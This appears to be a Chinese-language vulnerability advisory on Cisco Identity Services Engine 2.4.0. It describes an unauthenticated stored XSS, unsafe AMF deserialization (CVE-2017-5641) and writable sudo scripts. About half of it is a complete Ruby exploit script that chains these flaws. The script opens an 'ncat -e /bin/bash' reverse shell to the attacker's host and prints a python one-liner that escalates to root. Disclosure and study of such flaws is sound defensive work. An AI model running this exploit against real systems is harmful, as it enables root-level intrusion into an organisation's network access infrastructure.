Cisco ISE:從無需身份驗證的XSS到高許可權遠端程式碼執行漏洞
一、漏洞概要
我們發現,Cisco Identity Services Engine(ISE,身份服務引擎)存在3個漏洞,當這些漏洞被利用時,將允許未經身份驗證的攻擊者實現root許可權並遠端執行程式碼。第一個漏洞是儲存型XSS檔案上傳漏洞,允許攻擊者在受害者瀏覽器中上傳並執行HTML頁面。第二個是不安全的Flex AMF Java物件反序列化漏洞(CVE-2017-5641),該漏洞也是我們進行利用的漏洞。第三個是通過不正確的sudo檔案許可權實現許可權提升,從而讓本地攻擊者以root身份執行程式碼。
二、廠商響應
Cisco已經為報告的XSS漏洞分配CVE-ID:CVE-2018-15440,並且在2019年1月9日釋出了安全通告:
三、貢獻者
一位獨立安全研究員Pedro Ribeiro向Beyond Security的SecuriTeam安全披露計劃報告了此漏洞。
四、受影響的系統
Cisco Identity Services Engine 2.4.0版本
五、漏洞詳情
5.1 儲存型跨站指令碼(XSS)漏洞
攻擊維度:遠端
在LiveLogSettingsServlet中(位於/admin/LiveLogSettingsServlet),包含儲存型跨站指令碼漏洞。doGet() HTTP請求處理程式將Action引數作為HTTP查詢變數接收,該變數可以是“read”(讀取)或“write”(寫入)。
使用“write”引數,它將呼叫writeLiveLogSettings()函式,該函式將獲取多個查詢字串變數,例如Columns、Rows、Refresh_rate和Time_period。然後,將這些查詢字串變數的內容寫入/opt/CSCOcpm/mnt/dashboard/liveAuthProps.txt中,伺服器將響應200 OK。
然而,這些引數未經過驗證,可以包含任何文字。當Action引數等於“read”時,servlet將讀取/opt/CSCOcpm/mnt/dashboard/liveAuthProps.txt檔案,並使用Content-Type “text/html”將顯示內容返回使用者,從而導致寫入到該檔案的內容由瀏覽器呈現並執行。要發起一次簡單的攻擊,我們可以傳送以下請求:
GET /admin/LiveLogSettingsServlet?Action=write&Columns=1&Rows=%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e&Refresh_rate=1337&Time_period=1337
然後可以通過以下方式觸發:
GET /admin/LiveLogSettingsServlet?Action=read HTTP/1.1 ----- HTTP/1.1 200 OK Content-Type: text/html;charset=UTF-8 Content-Length: 164 Server: <Settings> <Columns> <Col>1</Col> </Columns> <Rows><script>alert(1)</script></Rows> <Refresh_rate>1337</Refresh_rate> <Time_period>1337</Time_period> </Settings>
5.2 不安全的Flex AMF Java物件反序列化漏洞
攻擊維度:遠端
限制條件:需要在管理Web頁面進行身份驗證
通過向/admin/messagebroker/amfsecure傳送帶有隨機資料的HTTP POST請求,伺服器將響應200 OK和二進位制資料,其中包括:
...Unsupported AMF version XXXXX...
這表示伺服器在該位置具有Apache / Adobe Flex AMF(BlazeDS)終端。在伺服器上執行的BlazeDS庫版本為4.0.0.14931,這意味著它容易受到CVE-2017-5641的攻擊,該漏洞的公開描述如下:“Apache Flex BlazeDS的早期版本(4.7.2及更早版本)沒有限制預設情況下允許AMF(X)物件反序列化的型別。在反序列化過程中,由於幾種已知型別具有超出預期的副作用,因此可能會發生程式碼執行。其他未知型別也可能會表現出這種行為。存在Java標準庫的一個向量,允許攻擊者觸發可信的漏洞利用程式碼,導致對不可信資料進行Java反序列化。在第三方庫中的其他已知向量,也可以用於觸發遠端程式碼執行。”
該漏洞此前在DrayTek VigorACS中被Agile資訊保安團隊進行了漏洞利用展示,詳情可以參見文末參考文章的[3]和[4]。有關該漏洞的更多詳細資訊,請參閱[5]、[6]和[7]。
漏洞利用鏈的工作方式與前一個相同:
a) 如[6]中所述,將AMF二進位制Payload傳送到/admin/messagebroker/amfsecure,從而觸發對攻擊者的Java遠端方法協議(JRMP)回撥。
b) 使用ysoserial的JRMP監聽器[8],接收JRMP連線。
c) 使用ROME Payload呼叫ysoserial,因為ROME的易受攻擊版本(1.0 RC2)位於伺服器的Java類路徑中。
d) 執行ncat(二進位制檔案位於ISE虛擬裝置上),並返回一個作為iseaminportal使用者執行的反向Shell。
5.3 通過不正確的sudo檔案許可權進行許可權提升
攻擊維度:本地
限制條件:需要以iseadminportal使用者身份執行的命令Shell
Iseadminportal使用者可以通過sudo(sudo –l的輸出)以root身份執行各種命令:
(root) NOPASSWD: /opt/CSCOcpm/bin/resetMntDb.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/resetMnTSessDir.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/setdbpw.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/sync_export.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/sync_import.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/partial_sync_export.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/partial_sync_import.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/partial_sync_cleanup.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/ttcontrol.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/updatewallet.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/log-list.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/file-info.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/delete-log-file.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/debug-log-config.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/showinv.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/isebackupcancel.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/nssutils.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/killsubnetscan.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/thirdpartyguestvlan.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/ise-3rdpty-guestvlan.sh * (root) NOPASSWD: /opt/CSCOcpm/mnt/bin/CheckDiskSpace.sh * (root) NOPASSWD: /opt/CSCOcpm/upgrade/bin/genbackup.sh * (root) NOPASSWD: /opt/CSCOcpm/upgrade/bin/createHCTOnPAPScript.sh * (root) NOPASSWD: /opt/CSCOcpm/upgrade/bin/backupHostConfigTablesOnPAP.sh * (root) NOPASSWD: /opt/CSCOcpm/upgrade/bin/dictionary_attribute_update.sh * (root) NOPASSWD: /opt/CSCOcpm/upgrade/bin/deleteguest.sh * (root) NOPASSWD: /opt/CSCOcpm/upgrade/bin/iseupgrade-dbexport.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/pxgrid_backup.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/pxgrid_restore.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/pxgrid_sync.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/pbis_monit.sh * (root) NOPASSWD: /opt/CSCOcpm/prrt/bin/FIPS_lockdown.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/iseupgradeui.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/show_iowait.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/kerberosprobe.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/sxp-servercontrol.sh *
上述所有檔案,都可以由iseadminportal使用者寫入。這使得攻擊者可以輕鬆實現到root的許可權提升。攻擊者所需要做的就是編輯檔案,並在第二行和(或)最後一行新增“/bin/sh”,然後以sudo身份執行指令碼,以獲取root Shell。
六、漏洞利用
#!/usr/bin/ruby =begin Exploit for Cisco Identify Services Engine (ISE), tested on version 2.4.0.357 CVE-TODO By Pedro Ribeiro (<a href="/cdn-cgi/l/email-protection" data-cfemail="1e6e7b7a6c777c5e79737f7772307d7173">[email protected]</a>) from Agile Information Security, and Dominik Czarnota (<a href="/cdn-cgi/l/email-protection" data-cfemail="f793989a9e999e9cd995d9948d968599988396b7909a969e9bd994989a">[email protected]</a>) This exploit starts by abusing a stored cross scripting to deploy malicious Javascript to /admin/LiveLogSettingsServlet. The Javascript contains a binary payload that will cause a XHR request to the AMF endpoint on the ISE server, which is vulnerable to CVE-2017-5641 (Unsafe Java AMF deserialization), leading to remote code execution as the iseadminportal user. This AMF deserialization can only be triggered by an authenticated user, hence why the stored XSS is necessary. The exploit will wait until the server executes the AMF deserialization payload and spawn netcat to receive a reverse shell from the server. Once we have code execution as the unprivileged iseadminportal user, we can edit various shell script files under /opt/CSCOcpm/bin/ and run them as sudo, escalating our privileges to root. This exploit has only been tested in Linux. The two jars described below are required for execution of the exploit, and they should be in the same directory as this script. == ysoserial.jar - get the latest version from https://github.com/frohoff/ysoserial/releases acsFlex.jar - build the following code as a JAR: import flex.messaging.io.amf.MessageBody; import flex.messaging.io.amf.ActionMessage; import flex.messaging.io.SerializationContext; import flex.messaging.io.amf.AmfMessageSerializer; import java.io.*; public class ACSFlex { public static void main(String[] args) { Object unicastRef = generateUnicastRef(args[0], Integer.parseInt(args[1])); // serialize object to AMF message try { byte[] amf = new byte[0]; amf = serialize((unicastRef)); DataOutputStream os = new DataOutputStream(new FileOutputStream(args[2])); os.write(amf); System.out.println("Done, payload written to " + args[2]); } catch (IOException e) { e.printStackTrace(); } } public static Object generateUnicastRef(String host, int port) { java.rmi.server.ObjID objId = new java.rmi.server.ObjID(); sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(host, port); sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false); return new sun.rmi.server.UnicastRef(liveRef); } public static byte[] serialize(Object data) throws IOException { MessageBody body = new MessageBody(); body.setData(data); ActionMessage message = new ActionMessage(); message.addBody(body); ByteArrayOutputStream out = new ByteArrayOutputStream(); AmfMessageSerializer serializer = new AmfMessageSerializer(); serializer.initialize(SerializationContext.getSerializationContext(), out, null); serializer.writeMessage(message); return out.toByteArray(); } } =end require 'tmpdir' require 'net/http' require 'uri' require 'openssl' require 'base64' class String def black;"\e[30m#{self}\e[0m" end def red;"\e[31m#{self}\e[0m" end def green;"\e[32m#{self}\e[0m" end def brown;"\e[33m#{self}\e[0m" end def blue;"\e[34m#{self}\e[0m" end def magenta;"\e[35m#{self}\e[0m" end def cyan;"\e[36m#{self}\e[0m" end def gray;"\e[37m#{self}\e[0m" end def bg_black;"\e[40m#{self}\e[0m" end def bg_red;"\e[41m#{self}\e[0m" end def bg_green;"\e[42m#{self}\e[0m" end def bg_brown;"\e[43m#{self}\e[0m" end def bg_blue;"\e[44m#{self}\e[0m" end def bg_magenta;"\e[45m#{self}\e[0m" end def bg_cyan;"\e[46m#{self}\e[0m" end def bg_gray;"\e[47m#{self}\e[0m" end def bold;"\e[1m#{self}\e[22m" end def italic;"\e[3m#{self}\e[23m" end def underline;"\e[4m#{self}\e[24m" end def blink;"\e[5m#{self}\e[25m" end def reverse_color;"\e[7m#{self}\e[27m" end end puts "" puts "Cisco Identity Services Engine (ISE) remote code execution as root".cyan.bold puts "Tested on ISE virtual appliance 2.4.0.357".cyan.bold puts "By:".blue.bold puts "Pedro Ribeiro (<a href="/cdn-cgi/l/email-protection" data-cfemail="5020353422393210373d31393c7e333f3d">[email protected]</a>) / Agile Information Security".blue.bold puts "Dominik Czarnota (<a href="/cdn-cgi/l/email-protection" data-cfemail="e3878c8e8a8d8a88cd81cd809982918d8c9782a3848e828a8fcd808c8e">[email protected]</a>)".blue.bold puts "" script_dir = File.expand_path(File.dirname(__FILE__)) ysoserial_jar = File.join(script_dir, 'ysoserial.jar') acsflex_jar = File.join(script_dir, 'acsFlex.jar') if (ARGV.length < 3) or not File.exist?(ysoserial_jar) or not File.exist?(acsflex_jar) puts "Usage: ./ISEpwn.rb <rhost> <rport> <lhost>".bold puts "Spawns a reverse shell from rhost to lhost" puts "" puts "NOTES:\tysoserial.jar and the included acsFlex.jar must be in this script's directory." puts "\tTwo random TCP ports in the range 10000-65535 are used to receive connections from the target." puts "" exit(-1) end # Unfortunately I couldn't find a better way to make this interactive, # so the user has to copy and paste the python command to write to the shell script # and execute as sudo. # Spent hours fighting with Ruby and trying to get this without user interaction, # hopefully some Ruby God can enlighten me on how to do it properly. def start_nc_thread(nc_port, jrmp_pid) IO.popen("nc -lvkp #{nc_port.to_s} 2>&1").each do |line| if line.include?('Connection from') Process.kill("TERM", jrmp_pid) Process.wait(jrmp_pid) puts "[+] Shelly is here! Now to escalate your privileges to root, ".green.bold + "copy and paste the following:".green.bold puts %{python -c 'import os;f=open("/opt/CSCOcpm/bin/file-info.sh", "a+", 0);f.write("if [ \\"$1\\" == 1337 ];then\\n/bin/bash\\nfi\\n");f.close();os.system("sudo /opt/CSCOcpm/bin/file-info.sh 1337")'} puts "[+] Press enter, then interact with the root shell,".green.bold + " and press CTRL + C when done".green.bold else puts line end end end YSOSERIAL = "#{ysoserial_jar} ysoserial.exploit.JRMPListener JRMP_PORT ROME" JS_PAYLOAD = %{<script>function b64toBlob(e,r,a){r=r||"",a=a||512;for(var t=atob(e),n=[],o=0;o<t.length;o+=a){for(var l=t.slice(o,o+a),b=new Array(l.length),h=0;h<l.length;h++)b[h]=l.charCodeAt(h);var p=new Uint8Array(b);n.push(p)}return new Blob(n,{type:r})}b64_payload="<PAYLOAD>";var xhr=new XMLHttpRequest;xhr.open("POST","https://<RHOST>/admin/messagebroker/amfsecure",!0),xhr.send(b64toBlob(b64_payload,"application/x-amf"));</script>} rhost = ARGV[0] rport = ARGV[1] lhost = ARGV[2].dup.force_encoding('ASCII') Dir.mktmpdir { |temp_dir| nc_port = rand(10000..65535) puts "[+] Picked port #{nc_port} to receive the shell".cyan.bold # step 1: create the AMF payload puts "[+] Creating AMF payload...".green.bold jrmp_port = rand(10000..65535) amf_file = temp_dir + "/payload.ser" system("java -jar #{acsflex_jar} #{lhost} #{jrmp_port} #{amf_file}") amf_payload = File.binread(amf_file) # step 2: start the ysoserial JRMP listener puts "[+] Picked port #{jrmp_port} for the JRMP server".cyan.bold # build the command line argument that will be executed by the server java = "java -cp #{YSOSERIAL.gsub('JRMP_PORT', jrmp_port.to_s)}" cmd = "ncat -e /bin/bash SERVER PORT".gsub("SERVER", lhost).gsub("PORT", nc_port.to_s) puts "[+] Sending command #{cmd}".green.bold java_split = java.split(' ') << cmd jrmp = IO.popen(java_split) jrmp_pid = jrmp.pid sleep 5 # step 3: start the netcat reverse shell listener t = Thread.new{start_nc_thread(nc_port, jrmp_pid)} # step 4: fire the XSS payload and wait for our trap to be sprung js_payload = JS_PAYLOAD.gsub('<RHOST>', "#{rhost}:#{rport}"). gsub('<PAYLOAD>', Base64.strict_encode64(amf_payload)) uri = URI.parse("https://#{rhost}:#{rport}/admin/LiveLogSettingsServlet") params = { :Action => "write", :Columns => rand(1..1000).to_s, :Rows => js_payload, :Refresh_rate => rand(1..1000).to_s, :Time_period => rand(1..1000).to_s } uri.query = URI.encode_www_form( params ) Net::HTTP.start(uri.host, uri.port, {:use_ssl => true, :verify_mode => OpenSSL::SSL::VERIFY_NONE }) do |http| #http.set_debug_output($stdout) res = http.get(uri) end puts "[+] XSS payload sent. Waiting for an admin to take the bait...".green.bold begin t.join rescue Interrupt begin Process.kill("TERM", jrmp_pid) Process.wait(jrmp_pid) rescue Errno::ESRCH # if we try to kill a dead process we get this error end puts "Exiting..." end } exit 0